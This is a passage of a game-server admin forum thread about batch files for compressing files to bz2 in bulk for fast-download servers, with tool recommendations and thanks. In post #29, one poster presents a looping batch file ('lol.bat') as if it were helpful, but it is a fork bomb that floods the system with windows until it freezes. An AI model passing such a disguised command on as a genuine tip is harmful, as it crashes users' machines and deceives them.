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Batch file / create bz2's in mass quantities


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Groger
Veteran Member
Join Date: Oct 2009
Location: Belgium
Old 12-11-2013 , 03:25   Re: Batch file / create bz2's in mass quantities
Reply With Quote #21

You guys heard of sourceRCS yet? This automaticly detects if a file is added and compresses it and uploads it to your fast download. Works like a charm

http://www.brainless.us/download/8/SourceRSC
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invermere
Junior Member
Join Date: Nov 2011
Old 12-11-2013 , 10:22   Re: Batch file / create bz2's in mass quantities
Reply With Quote #22

Quote:
Originally Posted by Groger View Post
You guys heard of sourceRCS yet? This automaticly detects if a file is added and compresses it and uploads it to your fast download. Works like a charm

http://www.brainless.us/download/8/SourceRSC
They way I had mine set up it started downloading a bunch of stuff on to my local machine, which eats up my bandwidth and doesn't transfer all that fast, which makes sense because it needs to pull data from the GS to put on the FTP. I would ideally want it to check the GS, compile a list of whatever it needs to, then check the fastDL and compare the lists. I don't think this solution is ideal for shared hosting clients, since 3 computers are in the mix? Maybe I just have it misconfigured.

Last edited by invermere; 12-11-2013 at 10:23.
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Groger
Veteran Member
Join Date: Oct 2009
Location: Belgium
Old 12-11-2013 , 13:51   Re: Batch file / create bz2's in mass quantities
Reply With Quote #23

On my local box it compares the gameserver to the fastdownload and than only compresses and uploads the files it needs. But i have them on the same box so perhaps thats the difference yeah.
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masher
Junior Member
Join Date: Dec 2004
Old 12-29-2013 , 17:03   Re: Batch file / create bz2's in mass quantities
Reply With Quote #24

Quote:
Originally Posted by invermere View Post
They way I had mine set up it started downloading a bunch of stuff on to my local machine, which eats up my bandwidth and doesn't transfer all that fast, which makes sense because it needs to pull data from the GS to put on the FTP. I would ideally want it to check the GS, compile a list of whatever it needs to, then check the fastDL and compare the lists. I don't think this solution is ideal for shared hosting clients, since 3 computers are in the mix? Maybe I just have it misconfigured.
I'm the author of SourceRSC, and it should compare the game server files to the fastdl's before downloading anything from the game server. Maybe double check the paths. You can hit up our support forum if you'd like further help.
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Need a free game server control panel? Check out Ultimate Gameserver Control Center, UGCC, http://www.brainless.us. We also have other various game server utilities admins might find useful for managing fast download servers too.
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deadmau54
AlliedModders Donor
Join Date: May 2013
Old 05-03-2015 , 17:06   Re: Batch file / create bz2's in mass quantities
Reply With Quote #25

My god... this is god given, thank you SlimeCounty for this!
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Dragonthunder
Junior Member
Join Date: Oct 2014
Location: The Netherlands
Old 02-26-2016 , 13:00   Re: Batch file / create bz2's in mass quantities
Reply With Quote #26

Thanks SlimeCounty, you just saved me a lot of time!
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POOTIS POW! HAHA!
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dildoughy
Member
Join Date: Nov 2015
Old 04-06-2016 , 10:12   Re: Batch file / create bz2's in mass quantities
Reply With Quote #27

Just wanted to leave a message on this 4-year-old topic to say that I use this little thing every single day and it has saved my ass SO. MANY. TIMES. I can't imagine trying to individually archive hundreds of maps by hand. Thanks!
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Werewolf_UK
AlliedModders Donor
Join Date: Oct 2010
Location: United Kingdom
Old 06-03-2016 , 02:19   Re: Batch file / create bz2's in mass quantities
Reply With Quote #28

How would I modify this to convert all the files in a specific folder? In my case I've made a folder on the desktop named 'BZ2 Compression Folder' (so it's path is "C:\Users\admin\Desktop\BZ2 Compression Folder") and I want it so I can dump files in and run the batch file (which also sits on the desktop)

The batch file would need to convert all the files in the named folder then delete the originals.
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airplanelover12
New Member
Join Date: Jun 2016
Old 06-25-2016 , 13:54   Re: Batch file / create bz2's in mass quantities
Reply With Quote #29

Quote:
Originally Posted by ReFlexPoison View Post
Wow, Imma have to try this.
in note pad do this:

:start
start
goto start

save that as lol.bat

Last edited by airplanelover12; 06-25-2016 at 13:56.
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BustedRider
Senior Member
Join Date: Dec 2008
Location: Canada/QC
Old 11-13-2016 , 00:13   Re: Batch file / create bz2's in mass quantities
Reply With Quote #30

This isnt realy easy to read for a french guys -_- which i wouldnt have to do each of them 1 by 1 :S
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